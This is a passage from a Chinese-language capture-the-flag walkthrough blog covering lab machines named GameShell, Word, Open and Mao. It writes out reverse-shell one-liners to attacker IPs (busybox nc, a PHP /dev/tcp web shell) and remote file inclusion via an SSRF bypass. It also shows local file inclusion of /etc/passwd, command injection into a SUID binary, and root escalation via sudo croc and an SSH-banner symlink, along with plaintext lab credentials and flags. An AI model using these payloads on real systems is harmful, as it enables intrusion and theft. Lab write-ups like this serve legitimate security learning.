ls<br>bin   dev  home        initrd.img.old  lib32  libx32      media  opt   root  sbin  sys  usr  vmlinuz<br>boot  etc  initrd.img  lib             lib64  lost+found  mnt    proc  run   srv   tmp  var  vmlinuz.old<br>eviden@GameShell:\/$ busybox nc 192.168.3.219 443 -e \/bin\/bash<\/pre>\n\n\n\n<p>\u518d\u6b21\u53cd\u5f39shell<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/usr\/bin\/script -qc \/bin\/bash \/dev\/null<br>eviden@GameShell:\/$ id<br>id<br>uid=1001(eviden) gid=1001(eviden) groups=1001(eviden)<br>eviden@GameShell:\/$ sudo -l<br>sudo -l<br>Matching Defaults entries for eviden on GameShell:<br>    env_reset, mail_badpass,<br>    secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin<br><br>User eviden may run the following commands on GameShell:<br>    (ALL) NOPASSWD: \/usr\/local\/bin\/croc<\/pre>\n\n\n\n<p>croc\u53ef\u4ee5\u53bb\u641c\u4e00\u4e0b\u662f\u4f20\u8f93\u2f42\u4ef6\u7684\u2f2f\u5177 \u5e76\u4e14\u53ef\u5199 \u90a3\u5c31\u4f20\u4e2a\u516c\u94a5\u5427\uff0c\u5e76\u4e14\u662fsudo\u7684\u6743\u9650<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">kali:<br>cat ~\/.ssh\/id_ed25519.pub &gt; authorized_keys<br>croc --ip 192.168.3.219 send authorized_keys<br>croc --ip 192.168.3.74 send authorized_keys<br>Sending 'authorized_keys' (95 B) <br>Code is: 7312-bridge-africa-brenda<br><br>On the other computer run:<br>(For Windows)<br>    croc 7312-bridge-africa-brenda<br>(For Linux\/macOS)<br>    CROC_SECRET=\"7312-bridge-africa-brenda\" croc <br><br>Sending (-&gt;192.168.3.74:42810)<br>authorized_keys 100% |\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588| (95\/95 B, 219 kB\/s)<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">eviden@GameShell:<br>eviden@GameShell:\/$ sudo croc --yes --out \/root\/.ssh<br>sudo croc --yes --out \/root\/.ssh<br>Enter receive code: 7312-bridge-africa-brenda<br>Enter receive code: 7312-bridge-africa-brenda<br>Receiving 'authorized_keys' (95 B) <br><br>Receiving (&lt;-192.168.3.219:9009)<br><br>Overwrite 'authorized_keys'? (y\/N) (use --overwrite to omit) y<br>y<br> authorized_keys 100% |\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588| (95\/95 B, 32 kB\/s)<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u2500# ssh root@192.168.3.74 -i ~\/.ssh\/id_ed25519<br>The authenticity of host '192.168.3.74 (192.168.3.74)' can't be established.<br>ED25519 key fingerprint is SHA256:O2iH79i8PgOwV\/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ.<br>This host key is known by the following other names\/addresses:<br>    ~\/.ssh\/known_hosts:4: [hashed name]<br>    ~\/.ssh\/known_hosts:10: [hashed name]<br>Are you sure you want to continue connecting (yes\/no\/[fingerprint])? yes<br>Warning: Permanently added '192.168.3.74' (ED25519) to the list of known hosts.<br>Linux GameShell 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64<br><br>The programs included with the Debian GNU\/Linux system are free software;<br>the exact distribution terms for each program are described in the<br>individual files in \/usr\/share\/doc\/*\/copyright.<br><br>Debian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent<br>permitted by applicable law.<br>root@GameShell:~# id<br>uid=0(root) gid=0(root) groups=0(root)<br>root@GameShell:~# \u62ff\u4e0broot<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">word<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">user<\/h3>\n\n\n\n<p>\u6253\u5f00\u7f51\u7ad9\u626b\u63cf\u7aef\u53e3\uff0c\u4f9d\u7136\u662f80\u548c22<\/p>\n\n\n\n<p>\u7136\u540e\u8bbf\u95ee80\u7aef\u53e3\uff0c\u626b\u63cf\u51fa\u6765banner.php\u548cwordpress\uff0c\u8bbf\u95eebanner.php\u53d1\u73b0\u662f\u4e00\u4e2a\uff0c\u4e0d\u7ed9\u4e2d\u95f4\u8bbf\u95ee\u4f1a\u53d1\u73b0\u5361\uff0c\u6211\u5f53\u65f6\u6253user\u662f\u76f4\u63a5\u501f\u7528\u6253htb\u7684\u65b9\u6cd5\uff0c\u5728\/etc\/hosts\u91cc\u9762\u6dfb\u52a0<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">10.247.102.175  word.dsz<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u4f7f\u7528dirsearch\u548cgobuster dir \u548cwpscan\u626b\u51fa\u6765http:\/\/word.dsz\/wordpress\/wp-content\/uploads<\/pre>\n\n\n\n<p>\u53d1\u73b0\u662f\u4e00\u4e2a\u6587\u4ef6\u76ee\u5f55\uff0c\u5728\u91cc\u9762\u5b58\u5728pass.txt,\u7136\u540e\u4f7f\u7528<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">wpscan --url http:\/\/10.247.102.175\/wordpress --enumerate u<\/pre>\n\n\n\n<p>\u53d1\u73b0\u5b58\u5728root\u7528\u6237\uff0c\u5e76\u4e14\u5728\u524d\u9762\u626b\u63cf\u51fa\u6765\u4ed6\u7684\u540e\u53f0<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">root\/S9ZF6mtLdHfmr8PmCq3i(\u597d\u5427\uff0c\u867d\u7136\u6211\u5c1d\u8bd5\u76f4\u63a5ssh\u767b\u5f55\uff0c\u4e00\u76f4\u5361\u90a3\uff0c\u5e76\u4e14\u8fd8\u53bb\u95ee\u4e86\u52aa\u529b\u54e5\ud83e\udd21)<\/pre>\n\n\n\n<p>\u767b\u5f55\u6210\u529f\uff0c\u4e4b\u540e\u501f\u7528babycms\u7684\u601d\u8def\uff0c\u5728\u4ed6\u7684\u4e3b\u9898\u7f16\u8bd1\u5668\u91cc\u9762\u627ephp\u6587\u4ef6\u53bb\u53cd\u5f39shell\uff0c\u6211\u8fd9\u91cc\u662f\u7528\u7684patterns\/banner-about-book.php \u6587\u4ef6<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u4e4b\u540e\u8bbf\u95eehttp:\/\/word.dsz\/wordpress\/wp-content\/themes\/twentytwentyfive\/patterns\/banner-about-book.php<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">nc -lvvp 4444              <br>listening on [any] 4444 ...<br>connect to [10.247.102.219] from word.dsz [10.247.102.175] 39364<br>bash: cannot set terminal process group (474): Inappropriate ioctl for device<br>bash: no job control in this shell<br>&lt;press\/wp-content\/themes\/twentytwentyfive\/patterns$ \/usr\/bin\/script -qc \/bin\/bash \/dev\/null<br>&lt;e\/patterns$ \/usr\/bin\/script -qc \/bin\/bash \/dev\/null<br>&lt;press\/wp-content\/themes\/twentytwentyfive\/patterns$ cd \/<br>cd \/<br>www-data@Word:\/$ \/usr\/bin\/script -qc \/bin\/bash \/dev\/null<br>\/usr\/bin\/script -qc \/bin\/bash \/dev\/null<br>www-data@Word:\/$ dpkg -V 2&gt;\/dev\/null<br>dpkg -V 2&gt;\/dev\/null<br>??5?????? c \/etc\/irssi.conf<br>??5?????? c \/etc\/apache2\/apache2.conf<br>??5??????   \/var\/lib\/polkit-1\/localauthority\/10-vendor.d\/systemd-networkd.pkla<br>??5??????   \/usr\/lib\/mysql\/plugin\/auth_pam_tool_dir\/auth_pam_tool<br>??5?????? c \/etc\/grub.d\/10_linux<br>??5?????? c \/etc\/grub.d\/40_custom<br>??5?????? c \/etc\/sudoers<br>??5?????? c \/etc\/sudoers.d\/README<br>??5?????? c \/etc\/inspircd\/inspircd.conf<br>??5?????? c \/etc\/inspircd\/inspircd.motd<br>??5?????? c \/etc\/inspircd\/inspircd.rules<br>??5??????   \/usr\/bin\/top<br>??5??????   \/var\/lib\/polkit-1\/localauthority\/10-vendor.d\/org.freedesktop.packagekit.pkla<br>??5?????? c \/etc\/issue<br>www-data@Word:\/$ cat \/usr\/bin\/top<br>cat \/usr\/bin\/top<br>#!\/bin\/bash<br><br>echo 'jUOhu37yYllYiVxQNw8G'<br>systemctl restart ssh<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u53cd\u5f39\u6210\u529f\u62ff\u4e0buser<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">root<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">\u5728\u4e0a\u9762\u6253\u51fa\u4e86dpkg -V 2&gt;\/dev\/null\u547d\u4ee4\uff0c<br>www-data@Word:\/$ cat \/usr\/bin\/top<br>cat \/usr\/bin\/top<br>#!\/bin\/bash<br><br>echo 'jUOhu37yYllYiVxQNw8G'<br>systemctl restart ssh<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">cat banner.php<br>cat b*<br>&lt;?php<br>\/\/ \u8bbe\u7f6e\u9875\u9762\u6807\u9898\u548c\u5b57\u7b26\u7f16\u7801<br>$page_title = \"\u5b9a\u5236\u4f60\u7684SSH\u6b22\u8fce\u754c\u9762\";<br>$saved_message = \"\";<br><br>\/\/ \u5904\u7406\u8868\u5355\u63d0\u4ea4<br>if ($_SERVER[\"REQUEST_METHOD\"] == \"POST\" &amp;&amp; isset($_POST['banner_text'])) {<br>    $banner_text = $_POST['banner_text'];<br>    $file_path = '\/home\/ssh-banner\/banner.txt';<br>    <br>    \/\/ \u786e\u4fdd\u76ee\u5f55\u5b58\u5728<br>    $dir = dirname($file_path);<br>    if (!is_dir($dir)) {<br>        mkdir($dir, 0755, true);<br>    }<br>    <br>    \/\/ \u5c1d\u8bd5\u4fdd\u5b58\u6587\u4ef6<br>    if (file_put_contents($file_path, $banner_text) !== false) {<br>        $saved_message = \"Banner Saved.  try ssh \";<br>    } else {<br>        $saved_message = \"Banner Saved failed.\";<br>    }<br>}<br><br>\/\/ \u5c1d\u8bd5\u8bfb\u53d6\u73b0\u6709\u5185\u5bb9<br>$current_content = \"\";<br>$file_path = '\/home\/ssh-banner\/banner.txt';<br>if (file_exists($file_path)) {<br>    $current_content = htmlspecialchars(file_get_contents($file_path));<br>}<br>?&gt;<br>&lt;!DOCTYPE html&gt;<br>&lt;html lang=\"zh-CN\"&gt;<br>&lt;head&gt;<br>    &lt;meta charset=\"UTF-8\"&gt;<br>    &lt;title&gt;&lt;?php echo $page_title; ?&gt;&lt;\/title&gt;<br>    &lt;style&gt;<br>        body {<br>            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;<br>            max-width: 800px;<br>            margin: 0 auto;<br>            padding: 20px;<br>            background-color: #f5f5f5;<br>            color: #333;<br>        }<br>        .container {<br>            background-color: white;<br>            border-radius: 8px;<br>            box-shadow: 0 2px 10px rgba(0,0,0,0.1);<br>            padding: 30px;<br>            margin-top: 20px;<br>        }<br>        h1 {<br>            color: #2c3e50;<br>            border-bottom: 2px solid #3498db;<br>            padding-bottom: 10px;<br>        }<br>        .form-group {<br>            margin-bottom: 20px;<br>        }<br>        label {<br>            display: block;<br>            margin-bottom: 8px;<br>            font-weight: bold;<br>        }<br>        textarea {<br>            width: 100%;<br>            height: 200px;<br>            padding: 10px;<br>            border: 1px solid #ddd;<br>            border-radius: 4px;<br>            font-family: monospace;<br>            resize: vertical;<br>        }<br>        .btn {<br>            background-color: #3498db;<br>            color: white;<br>            border: none;<br>            padding: 10px 20px;<br>            border-radius: 4px;<br>            cursor: pointer;<br>            font-size: 16px;<br>        }<br>        .btn:hover {<br>            background-color: #2980b9;<br>        }<br>        .message {<br>            padding: 10px;<br>            margin: 15px 0;<br>            border-radius: 4px;<br>            text-align: center;<br>        }<br>        .success {<br>            background-color: #d4edda;<br>            color: #155724;<br>            border: 1px solid #c3e6cb;<br>        }<br>        .error {<br>            background-color: #f8d7da;<br>            color: #721c24;<br>            border: 1px solid #f5c6cb;<br>        }<br>        .preview {<br>            background-color: #2c3e50;<br>            color: #ecf0f1;<br>            border-radius: 4px;<br>            padding: 15px;<br>            margin-top: 20px;<br>            font-family: monospace;<br>            white-space: pre-wrap;<br>        }<br>        .preview-title {<br>            font-weight: bold;<br>            margin-bottom: 10px;<br>            color: #3498db;<br>        }<br>    &lt;\/style&gt;<br>&lt;\/head&gt;<br>&lt;body&gt;<br>    &lt;div class=\"container\"&gt;<br>        &lt;h1&gt;&lt;?php echo $page_title; ?&gt;&lt;\/h1&gt;<br>        <br>        &lt;?php if (!empty($saved_message)): ?&gt;<br>            &lt;div class=\"message &lt;?php echo strpos($saved_message, '\u9519\u8bef') !== false ? 'error' : 'success'; ?&gt;\"&gt;<br>                &lt;?php echo $saved_message; ?&gt;<br>            &lt;\/div&gt;<br>        &lt;?php endif; ?&gt;<br>        <br>        &lt;form method=\"POST\" action=\"\"&gt;<br>            &lt;div class=\"form-group\"&gt;<br>                &lt;label for=\"banner_text\"&gt;SSH\u6b22\u8fce\u4fe1\u606f\u5185\u5bb9\uff1a&lt;\/label&gt;<br>                &lt;textarea id=\"banner_text\" name=\"banner_text\" placeholder=\"\u5728\u6b64\u8f93\u5165SSH\u767b\u5f55\u65f6\u663e\u793a\u7684\u6b22\u8fce\u4fe1\u606f...\"&gt;&lt;?php echo $current_content; ?&gt;&lt;\/textarea&gt;<br>            &lt;\/div&gt;<br>            <br>            &lt;button type=\"submit\" class=\"btn\"&gt;\u4fdd\u5b58Banner&lt;\/button&gt;<br>        &lt;\/form&gt;<br>        <br>        &lt;?php if (!empty($current_content)): ?&gt;<br>        &lt;div class=\"preview\"&gt;<br>            &lt;div class=\"preview-title\"&gt;\u9884\u89c8\u6548\u679c\uff1a&lt;\/div&gt;<br>            &lt;?php echo nl2br($current_content); ?&gt;<br>        &lt;\/div&gt;<br>        &lt;?php endif; ?&gt;<br>    &lt;\/div&gt;<br>&lt;\/body&gt;<br>&lt;\/html&gt;<\/pre>\n\n\n\n<p>\u76f4\u63a5\u53bb\u95eeai:<\/p>\n\n\n\n<p>\u8fd9\u662f\u4e00\u4e2a<strong>SSH \u6b22\u8fce\u4fe1\u606f\u5b9a\u5236\u9875\u9762<\/strong>\uff0c\u6838\u5fc3\u529f\u80fd\u662f\u5c06\u7528\u6237\u8f93\u5165\u7684\u5185\u5bb9\u5199\u5165 <code>\/home\/ssh-banner\/banner.txt<\/code> \u6587\u4ef6 \u2014\u2014 \u8fd9\u4e2a\u573a\u666f\u4e0b\u85cf\u7740\u4e00\u4e2a\u5173\u952e\u63d0\u6743\u7a81\u7834\u53e3\uff1a<strong>\u5229\u7528 SSH Banner \u6587\u4ef6\u7684\u52a0\u8f7d\u673a\u5236\uff0c\u8ba9\u9776\u673a\u81ea\u52a8\u6267\u884c\u6211\u4eec\u690d\u5165\u7684\u547d\u4ee4<\/strong>\uff0c\u6700\u7ec8\u83b7\u53d6\u9ad8\u6743\u9650\u7528\u6237\uff08\u751a\u81f3 root\uff09\u7684 shell\u3002<\/p>\n\n\n\n<p>\u5e76\u4e14\u901a\u8fc7\u4e0a\u9762\u7684jUOhu37yYllYiVxQNw8G \u76f4\u63a5ssh\u767b\u5f55ssh-banner\u53d1\u73b0\u767b\u5f55\u6210\u529f<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ssh-banner@Word:~$ ls -al<br>total 28<br>drwxr-xr-x 2 ssh-banner ssh-banner 4096 Nov 15 03:51 .<br>drwxr-xr-x 3 root &nbsp; &nbsp; &nbsp; root &nbsp; &nbsp; &nbsp; 4096 Nov 14 21:59 ..<br>-rwxrwxrwx 1 root &nbsp; &nbsp; &nbsp; root &nbsp; &nbsp; &nbsp; &nbsp; 47 Nov 29 08:46 banner.txt<br>lrwxrwxrwx 1 root &nbsp; &nbsp; &nbsp; root &nbsp; &nbsp; &nbsp; &nbsp;  9 Nov 15 03:51 .bash_history -&gt; \/dev\/null &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>-rw-r--r-- 1 ssh-banner ssh-banner  220 Nov 14 21:59 .bash_logout<br>-rw-r--r-- 1 ssh-banner ssh-banner 3526 Nov 14 21:59 .bashrc<br>-rw-r--r-- 1 ssh-banner ssh-banner  807 Nov 14 21:59 .profile<br>-rw-r--r-- 1 root &nbsp; &nbsp; &nbsp; root &nbsp; &nbsp; &nbsp; &nbsp; 44 Nov 14 22:10 user.txt<br>ssh-banner@Word:~$ ln -sf \/root\/root.txt banner.txt\/\/<\/pre>\n\n\n\n<p>\u8ba9 <code>banner.txt<\/code> \u6210\u4e3a <code>\/root\/root.txt<\/code> \u7684 \u201c\u5feb\u6377\u65b9\u5f0f\u201d<\/p>\n\n\n\n<p>\u76f4\u63a5\u53bbssh\u8fde\u63a5<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ssh-banner@Word:~$ ssh ssh-banner@10.247.102.175<br>The authenticity of host '10.247.102.175 (10.247.102.175)' can't be established.<br>ECDSA key fingerprint is SHA256:IV6iZTL6D\/\/1Ojh0d8XoSMepPgjyUfV\/FpQmf3q35Hg.<br>Are you sure you want to continue connecting (yes\/no\/[fingerprint])? yes<br>Warning: Permanently added '10.247.102.175' (ECDSA) to the list of known hosts.<br>flag{root-a46ec67a0f2e7c387926ac5d783ea4b8}<br>ssh-banner@10.247.102.175's password: <br>Connection closed by 10.247.102.175 port 22<br>\u62ff\u4e0broot.txt<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">open<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">user<\/h3>\n\n\n\n<p>\u6253\u770b\u7f51\u7ad9\uff0c\u540c\u6837\u7684\uff0c\u548c\u4e0a\u9762\u4e00\u6837\u52a0\u5165<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">10.247.102.236 open.dsz  \u66f4\u52a0\u7a33\u5b9a\u4e00\u4e9b<\/pre>\n\n\n\n<p>\u7136\u540e\u53d1\u73b0\u662f\u4e00\u4e2a\u53ef\u4ee5\u8fdb\u884cssrf\u7684\u5730\u65b9\uff0c\u4e0d\u8fc7\u5fc5\u987b\u662f<a href=\"http:\/\/open\/\">http:\/\/open<\/a>\u7684\u524d\u7f00\uff0c\u8fd9\u91cc\u501f\u7528hyh\u5927\u795e\u7684\u8bb2\u89e3<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">https:\/\/username:password@subdomain.example.com:8080\/path\/to\/resource.html?<br>key1=value1&amp;key2=value2#section2<br>\u5206\u89e3\uff1a<br>\u534f\u8bae\uff08scheme\uff09\uff1ahttps<br>\u7528\u6237\u540d\uff1ausername<br>\u5bc6\u7801\uff1apassword<br>\u4e3b\u673a\uff08\u57df\u540d\/IP\uff09\uff1asubdomain.example.com<br>\u7aef\u53e3\uff1a8080<br>\u8def\u5f84\uff1a\/path\/to\/resource.html<br>\u67e5\u8be2\u53c2\u6570\uff08query string\uff09\uff1a?key1=value1&amp;key2=value2<br>\u7247\u6bb5\u6807\u8bc6\u7b26\uff08fragment\uff09\uff1a#section2<br>\u90a3\u4e48\u53ef\u4ee5\u8054\u60f3\u5230\uff0c\u5c06open\u4f5c\u4e3a\u7528\u6237\u540d\uff0c\u7136\u540eIP\u53ef\u4ee5\u81ea\u5df1\u63a7\u5236\u4ece\u800c\u7ed5\u8fc7\u3002\u8fd9\u91cc\u4f7f\u7528\u7684\u662f\u8fdc\u7a0b\u6587\u4ef6\u5305\u542b<\/pre>\n\n\n\n<p>\u76f4\u63a5\u8fdc\u7a0b\u6587\u4ef6\u5305\u542b\uff0c\u5728kali\u91cc\u9762\u5199\u5165shell.php<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u91cc\u9762\u662f&lt;?php system(\"\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.247.102.219\/2332 0&gt;&amp;1'\")?&gt;<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u250c\u2500\u2500(root\u327fkali2025)-[\/home\/wea5e1]<br>\u2514\u2500# python3 -m http.server 8080<br>Serving HTTP on 0.0.0.0 port 8080 (http:\/\/0.0.0.0:8080\/) ...<br>10.247.102.236 - - [01\/Dec\/2025 19:07:58] \"GET \/shell.php HTTP\/1.1\" 200 -<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">root<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">\u2514\u2500# nc -lvvp 2332<br>listening on [any] 2332 ...<br>connect to [10.247.102.219] from open.dsz [10.247.102.236] 57214<br>bash: cannot set terminal process group (418): Inappropriate ioctl for device<br>bash: no job control in this shell<br>www-data@Open:\/var\/www\/open.dsz$ ls<br>\/usr\/bin\/script -qc \/bin\/bash \/dev\/null \/\/\u4f7fshell\u66f4\u52a0\u7a33\u5b9a<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">www-data@Open:\/home\/miao$ find \/ -perm -4000 -type f 2&gt;\/dev\/null<br>find \/ -perm -4000 -type f 2&gt;\/dev\/null<br>\/usr\/bin\/chsh<br>\/usr\/bin\/chfn<br>\/usr\/bin\/newgrp<br>\/usr\/bin\/gpasswd<br>\/usr\/bin\/mount<br>\/usr\/bin\/su<br>\/usr\/bin\/umount<br>\/usr\/bin\/pkexec<br>\/usr\/bin\/sudo<br>\/usr\/bin\/passwd<br>\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper<br>\/usr\/lib\/eject\/dmcrypt-get-device<br>\/usr\/lib\/openssh\/ssh-keysign<br>\/usr\/libexec\/polkit-agent-helper-1<br>\/opt\/echo<\/pre>\n\n\n\n<p>\u8fd9\u91cc\u770b\u5230\u4e00\u4e2aecho<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/opt\/echo \"1\" &nbsp; <br>\/opt\/echo \"1\"<br>\u6267\u884c\u547d\u4ee4: echo '[\u7528\u6237\u8f93\u5165]: 1'<br>[\u7528\u6237\u8f93\u5165]: 1<br>www-data@Open:\/home\/miao$ \/opt\/echo \"1'\"<br>\/opt\/echo \"1'\"<br>\u6267\u884c\u547d\u4ee4: echo '[\u7528\u6237\u8f93\u5165]: 1''<br>sh: 1: Syntax error: Unterminated quoted string<br>www-data@Open:\/home\/miao$ \/opt\/echo \"1';id\"<br>\/opt\/echo \"1';id\"<br>\u6267\u884c\u547d\u4ee4: echo '[\u7528\u6237\u8f93\u5165]: 1';id'<br>sh: 1: Syntax error: Unterminated quoted string<br>www-data@Open:\/home\/miao$ \/opt\/echo \"123';id'\"<br>\/opt\/echo \"123';id'\"<br>\u6267\u884c\u547d\u4ee4: echo '[\u7528\u6237\u8f93\u5165]: 123';id''<br>[\u7528\u6237\u8f93\u5165]: 123<br>uid=1000(miao) gid=1000(miao) groups=1000(miao),33(www-data) \u53d1\u73b0\u53ef\u4ee5\u4f7f\u7528'\u7ed5\u8fc7\u53bb\u6267\u884c\u547d\u4ee4<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">mao<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">user<\/h3>\n\n\n\n<p>\u4fe1\u606f\u641c\u96c6\u4e00\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">nmap -sV -T4 10.247.102.83<br>Starting Nmap 7.95 ( https:\/\/nmap.org ) at 2025-12-08 22:54 CST<br>Nmap scan report for 10.247.102.83<br>Host is up (0.00078s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT &nbsp; STATE SERVICE VERSION<br>22\/tcp open  ssh &nbsp; &nbsp; OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)<br>80\/tcp open  http &nbsp;  Apache httpd 2.4.62 ((Debian))<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">dir\u4e00\u4e0b<br>[22:56:24] 302 - &nbsp;  0B  - \/dashboard.php  -&gt;  index.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>[22:56:27] 200 - &nbsp; 66B  - \/home.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>[22:56:29] 302 - &nbsp;  0B  - \/logout.php  -&gt;  index.php<br>[22:56:35] 200 -  198B  - \/settings.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>[22:56:36] 200 -  323B  - \/stats.php &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<\/pre>\n\n\n\n<p>\u53bb\u770b\u770b80\u7aef\u53e3\uff0c\u53d1\u73b0\u662f\u4e00\u4e2a\u767b\u5f55\u9875\u9762\uff0c\u53d1\u73b0\u4f7f\u7528admin\u662f\u5bc6\u7801\u9519\u8bef\uff0c\u90a3\u5c31\u53bb\u7206\u7834<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">admin\/pinkgir1<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u767b\u5f55\u8fdb\u53bb\u968f\u4fbf\u70b9\u70b9\u770b\u770b<br>http:\/\/10.247.102.83\/dashboard.php?page=home.php<br>\uff1f\uff1f\uff1f<br>\u6587\u4ef6\u5305\u542b<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">http:\/\/10.247.102.83\/dashboard.php?page=\/etc\/passwd<br>root:x:0:0:root:\/root:\/bin\/bash daemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin bin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin sys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin sync:x:4:65534:sync:\/bin:\/bin\/sync games:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin man:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin lp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin mail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin news:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin uucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin proxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin www-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin backup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin list:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin irc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin nobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin _apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin systemd-network:x:102:103:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin systemd-resolve:x:103:104:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin systemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin messagebus:x:104:110::\/nonexistent:\/usr\/sbin\/nologin sshd:x:105:65534::\/run\/sshd:\/usr\/sbin\/nologin lingmj:x:1000:1000:,,,:\/home\/lingmj:\/bin\/bash oneoneone:x:1001:1001:,,,:\/home\/oneoneone:\/bin\/bash todd:x:1002:1002:,,,:\/home\/todd:\/bin\/bash <\/pre>\n\n\n\n<p>\u4e8e\u662f\u5c31\u5f97\u4e09\u4e2a\u7528\u6237lingmj 1001 todd<\/p>\n\n\n\n<p>\u901a\u8fc7\u7206\u7834\u83b7\u5f97lingmj\u7684\u5bc6\u7801\u4e3ababyface<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ssh lingmj@10.247.102.83<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">lingmj@Mao:~$ <\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">root<\/h3>\n\n\n\n<pre class=\"wp-block-preformatted\">lingmj@Mao:\/$ sudo -l<br>Matching Defaults entries for lingmj on Mao:<br> &nbsp;  env_reset, mail_badpass,<br> &nbsp;  secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin<br>\u200b<br>User lingmj may run the following commands on Mao:<br> &nbsp;  (ALL) NOPASSWD: \/usr\/bin\/steghide<br>lingmj@Mao:\/$ <\/pre>\n\n\n\n<p>\u4e4b\u524d\u5b66\u8fc7misc\u7684\u90fd\u77e5\u9053\u8fd9\u4e2a\u662f\u9690\u5199\u5de5\u5177\uff0c\u53ef\u4ee5\u53bb\u6587\u4ef6\u5408\u5728\u4e00\u8d77 \u8fd9\u91cc\u53c2\u8003q\u7fa4wp\u4e00\u5171\u67095\u4e2a\u65b9\u6cd5<\/p>\n\n\n\n<h4 